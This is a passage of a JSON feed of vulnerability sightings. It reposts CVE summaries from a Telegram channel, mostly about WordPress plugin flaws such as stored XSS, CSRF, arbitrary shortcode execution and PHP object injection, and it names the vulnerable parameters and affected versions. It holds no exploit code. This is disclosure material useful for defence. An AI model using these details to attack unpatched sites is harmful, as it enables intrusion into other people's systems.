MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T06:49:44.000000Z"}, {"uuid": "e44c2b6b-f5ac-4399-a56f-7658cc78a242", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12411", "type": "seen", "source": "https://t.me/cvedetector/12917", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12411 - WordPress WP Ad Guru Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12411 \nPublished : Dec. 14, 2024, 5:15 a.m. | 27\u00a0minutes ago \nDescription : The WP Ad Guru \u2013 Banner ad, Responsive popup, Popup maker, Ad rotator & More plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 2.5.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T06:49:40.000000Z"}, {"uuid": "bed73a3a-a0a5-459b-9103-800278e7d943", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12555", "type": "seen", "source": "https://t.me/cvedetector/12914", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12555 - WordPress SIP Calculator CSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12555 \nPublished : Dec. 14, 2024, 5:15 a.m. | 27\u00a0minutes ago \nDescription : The SIP Calculator plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T06:49:38.000000Z"}, {"uuid": "d70e9518-8727-42e8-8afd-6370231628e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12517", "type": "seen", "source": "https://t.me/cvedetector/12912", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12517 - WooCommerce Cart Count Shortcode Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12517 \nPublished : Dec. 14, 2024, 5:15 a.m. | 27\u00a0minutes ago \nDescription : The WooCommerce Cart Count Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'cart_button' shortcode in all versions up to, and including, 1.0.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T06:49:34.000000Z"}, {"uuid": "e2fcb615-6fc2-429f-98b5-40e8970e60da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12523", "type": "seen", "source": "https://t.me/cvedetector/12913", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12523 - Adobe States Map US WordPress Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12523 \nPublished : Dec. 14, 2024, 5:15 a.m. | 27\u00a0minutes ago \nDescription : The States Map US plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'states_map' shortcode in all versions up to, and including, 2.4.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T06:49:38.000000Z"}, {"uuid": "8df81cc7-3aaf-4030-bc3f-ef5aedf3f100", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12458", "type": "seen", "source": "https://t.me/cvedetector/12910", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12458 - WordPress Smart PopUp Blaster Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12458 \nPublished : Dec. 14, 2024, 5:15 a.m. | 27\u00a0minutes ago \nDescription : The Smart PopUp Blaster plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'spb-button' shortcode in all versions up to, and including, 1.4.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T06:49:33.000000Z"}, {"uuid": "86eecbe8-ad7e-4425-8197-fa32894d1fde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12502", "type": "seen", "source": "https://t.me/cvedetector/12911", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12502 - WordPress My IDX Home Search Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12502 \nPublished : Dec. 14, 2024, 5:15 a.m. | 27\u00a0minutes ago \nDescription : The My IDX Home Search plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'homeasap-idx-landing' shortcode in all versions up to, and including, 2.0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T06:49:33.000000Z"}, {"uuid": "679fd5bf-cec9-45b9-b15c-9eaba7dbe336", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12578", "type": "seen", "source": "https://t.me/cvedetector/12909", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12578 - Tickera WordPress Event Ticketing - Unauthenticated Information Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12578 \nPublished : Dec. 14, 2024, 5:15 a.m. | 27\u00a0minutes ago \nDescription : The Tickera \u2013 WordPress Event Ticketing plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 3.5.4.8 via the 'tickera_tickets_info' endpoint. This makes it possible for unauthenticated attackers to extract sensitive data from bookings like full names, email addresses, check-in/out timestamps and more. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T06:49:32.000000Z"}, {"uuid": "b12b97d8-2154-45a4-9165-79ab14763130", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12552", "type": "seen", "source": "https://t.me/cvedetector/12906", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12552 - Wacom WTabletServicePro Local Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12552 \nPublished : Dec. 13, 2024, 11:15 p.m. | 39\u00a0minutes ago \nDescription : Wacom Center WTabletServicePro Link Following Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Wacom Center. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.   \n  \nThe specific flaw exists within WTabletServicePro.exe. By creating a symbolic link, an attacker can abuse the service to create an arbitrary file. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-25359. \nSeverity: 7.0 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T00:58:32.000000Z"}, {"uuid": "bff92cba-f74f-4f52-8f81-dcca16b2a04c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12553", "type": "seen", "source": "https://t.me/cvedetector/12905", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12553 - GeoVision GV-ASManager Authentication Bypass Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12553 \nPublished : Dec. 13, 2024, 11:15 p.m. | 39\u00a0minutes ago \nDescription : GeoVision GV-ASManager Missing Authorization Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of GeoVision GV-ASManager. Although authentication is required to exploit this vulnerability, default guest credentials may be used.  \n  \nThe specific flaw exists within the GV-ASWeb service. The issue results from the lack of authorization prior to allowing access to functionality. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise. Was ZDI-CAN-25394. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T00:58:32.000000Z"}, {"uuid": "088f29c4-f45a-44b6-a572-2928ea099f9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12289", "type": "seen", "source": "https://t.me/cvedetector/12815", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12289 - Boundary HTTP Request Handling Premature Termination Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12289 \nPublished : Dec. 12, 2024, 11:15 p.m. | 26\u00a0minutes ago \nDescription : Boundary Community Edition and Boundary Enterprise (\u201cBoundary\u201d) incorrectly handle HTTP requests during the initialization of the Boundary controller, which may cause the Boundary server to terminate prematurely. Boundary is only vulnerable to this flaw during the initialization of the Boundary controller, which on average is measured in milliseconds during the Boundary startup process.  \n  \nThis vulnerability, CVE-2024-12289, is fixed in Boundary Community Edition and Boundary Enterprise 0.16.4, 0.17.3, 0.18.2. \nSeverity: 5.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T00:42:47.000000Z"}, {"uuid": "9128c9f2-2459-42b0-a9fe-1a7a2480c1a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12526", "type": "seen", "source": "https://t.me/cvedetector/12708", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12526 - Arena.IM WordPress Live Blogging CSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12526 \nPublished : Dec. 12, 2024, 5:15 a.m. | 43\u00a0minutes ago \nDescription : The Arena.IM \u2013 Live Blogging for real-time events plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 0.3.0. This is due to missing or incorrect nonce validation on the 'albfre_user_action' AJAX action. This makes it possible for unauthenticated attackers to update the plugin's settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:07:53.000000Z"}, {"uuid": "8899a0bf-217f-4fa0-b501-e620f3aa675e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12309", "type": "seen", "source": "https://t.me/cvedetector/12846", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12309 - FeedbackWP Rate My Post Insecure Direct Object Reference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12309 \nPublished : Dec. 13, 2024, 9:15 a.m. | 20\u00a0minutes ago \nDescription : The Rate My Post \u2013 Star Rating Plugin by FeedbackWP plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.2.4 via the get_post_status() due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to vote on unpublished scheduled posts. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T10:45:10.000000Z"}, {"uuid": "85544e41-44e6-4e60-9cc1-3a7f874f4318", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12417", "type": "seen", "source": "https://t.me/cvedetector/12841", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12417 - \"WordPress Simple Link Directory RCE\"\", \n  \"Content\": \"CVE ID : CVE-2024-12417 \nPublished : Dec. 13, 2024, 9:15 a.m. | 20\u00a0minutes ago \nDescription : The The Simple Link Directory plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 8.4.0. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T10:45:03.000000Z"}, {"uuid": "ee6aabe6-3402-43bd-ae93-20e999b83960", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12414", "type": "seen", "source": "https://t.me/cvedetector/12840", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12414 - Themify Store Locator CSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12414 \nPublished : Dec. 13, 2024, 9:15 a.m. | 20\u00a0minutes ago \nDescription : The Themify Store Locator plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.9. This is due to missing or incorrect nonce validation on the setting_page() function. This makes it possible for unauthenticated attackers to modify the plugin's settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T10:45:02.000000Z"}, {"uuid": "ad2ebb93-9757-4666-bccd-d9bd5e370ba2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12465", "type": "seen", "source": "https://t.me/cvedetector/12839", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12465 - Property Hive WordPress Stamp Duty Calculator Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12465 \nPublished : Dec. 13, 2024, 9:15 a.m. | 20\u00a0minutes ago \nDescription : The Property Hive Stamp Duty Calculator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'stamp_duty_calculator_scotland' shortcode in all versions up to, and including, 1.0.22 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T10:45:01.000000Z"}, {"uuid": "d2191103-8e59-4c27-8ce7-9af15f0eda13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12421", "type": "seen", "source": "https://t.me/cvedetector/12843", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12421 - WordPress Coupon Affiliates \u2013 Affiliate Plugin for WooCommerce Arbitrary Shortcode Execution and Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12421 \nPublished : Dec. 13, 2024, 9:15 a.m. | 20\u00a0minutes ago \nDescription : The The Coupon Affiliates \u2013 Affiliate Plugin for WooCommerce plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 5.16.7.1. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. This functionality is also vulnerable to Reflected Cross-Site Scripting. The Cross-Site Scripting was patched in version 5.16.7.1, while the arbitrary shortcode execution was patched in 5.16.7.2. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T10:45:04.000000Z"}, {"uuid": "9c0a2b58-8423-4932-bb31-8a5b3e508570", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12420", "type": "seen", "source": "https://t.me/cvedetector/12842", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12420 - WPMobile.App WordPress Shortcode Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12420 \nPublished : Dec. 13, 2024, 9:15 a.m. | 20\u00a0minutes ago \nDescription : The The WPMobile.App \u2014 Android and iOS Mobile Application plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 11.52. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T10:45:04.000000Z"}, {"uuid": "0fbf7f78-c4ae-4674-8294-8e466d2953be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12579", "type": "seen", "source": "https://t.me/cvedetector/12824", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12579 - WordPress Minify HTML ReDoS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12579 \nPublished : Dec. 13, 2024, 5:15 a.m. | 41\u00a0minutes ago \nDescription : The Minify HTML plugin for WordPress is vulnerable to Regular Expression Denial of Service (ReDoS) in all versions up to, and including, 2.1.10. This is due to processing user-supplied input as a regular expression.  This makes it possible for unauthenticated attackers to create comments that can cause catastrophic backtracking and break pages. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T07:24:10.000000Z"}, {"uuid": "baff8a87-0be7-4d21-9804-3b00990d6372", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12574", "type": "seen", "source": "https://t.me/cvedetector/12823", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12574 - WordPress SVG Shortcode Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12574 \nPublished : Dec. 13, 2024, 5:15 a.m. | 41\u00a0minutes ago \nDescription : The SVG Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 1.0.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses the SVG file. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T07:24:09.000000Z"}, {"uuid": "57c006fc-164c-4f25-836a-c9fe12874ec2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12572", "type": "seen", "source": "https://t.me/cvedetector/12820", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12572 - \"Hello In All Languages CSRF Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12572 \nPublished : Dec. 13, 2024, 4:15 a.m. | 18\u00a0minutes ago \nDescription : The Hello In All Languages plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.6. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T05:43:48.000000Z"}, {"uuid": "3334b941-3142-4508-89e0-1fec692ab284", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12312", "type": "seen", "source": "https://t.me/cvedetector/12746", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12312 - Print Science Designer WordPress PHP Object Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12312 \nPublished : Dec. 12, 2024, 7:15 a.m. | 33\u00a0minutes ago \nDescription : The Print Science Designer plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.3.152 via deserialization of untrusted input through the 'designer-saved-projects' cookie. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T08:48:50.000000Z"}, {"uuid": "819d00a0-b8bc-4df2-aa45-d45e49661d79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12329", "type": "seen", "source": "https://t.me/cvedetector/12745", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12329 - Essential Real Estate for WordPress Unauthenticated Sensitive Data Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-12329 \nPublished : Dec. 12, 2024, 7:15 a.m. | 33\u00a0minutes ago \nDescription : The Essential Real Estate plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on several pages/post types in all versions up to, and including, 5.1.6. This makes it possible for authenticated attackers, with Contributor-level access and above, to access invoices and transaction logs \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T08:48:49.000000Z"}, {"uuid": "3527e9c7-3260-4c4e-aea5-02e300c51c3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12581", "type": "seen", "source": "https://t.me/cvedetector/12830", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12581 - Kadence WP Gutenberg Blocks with AI Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12581 \nPublished : Dec. 13, 2024, 6:15 a.m. | 40\u00a0minutes ago \nDescription : The Gutenberg Blocks with AI by Kadence WP \u2013 Page Builder Features plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 3.2.53 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T08:14:25.000000Z"}, {"uuid": "c2a01cda-d959-40ba-aa83-aaf06474c414", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12300", "type": "seen", "source": "https://t.me/cvedetector/12819", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12300 - WordPress AR Plugin Unauthorized Double Extension File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12300 \nPublished : Dec. 13, 2024, 4:15 a.m. | 18\u00a0minutes ago \nDescription : The AR for WordPress plugin for WordPress is vulnerable to unauthorized double extension file upload due to a missing capability check on the set_ar_featured_image() function in all versions up to, and including, 7.3. This makes it possible for unauthenticated attackers to upload php files leveraging a double extension attack. It's important to note the file is deleted immediately and double extension attacks only work on select servers making this unlikely to be successfully exploited. \nSeverity: 3.7 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T05:43:47.000000Z"}, {"uuid": "2da9f0f5-d1e0-4ab7-b71e-4b7a59118f40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12212", "type": "seen", "source": "https://t.me/cvedetector/12817", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12212 - Apache CSP File validation Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12212 \nPublished : Dec. 13, 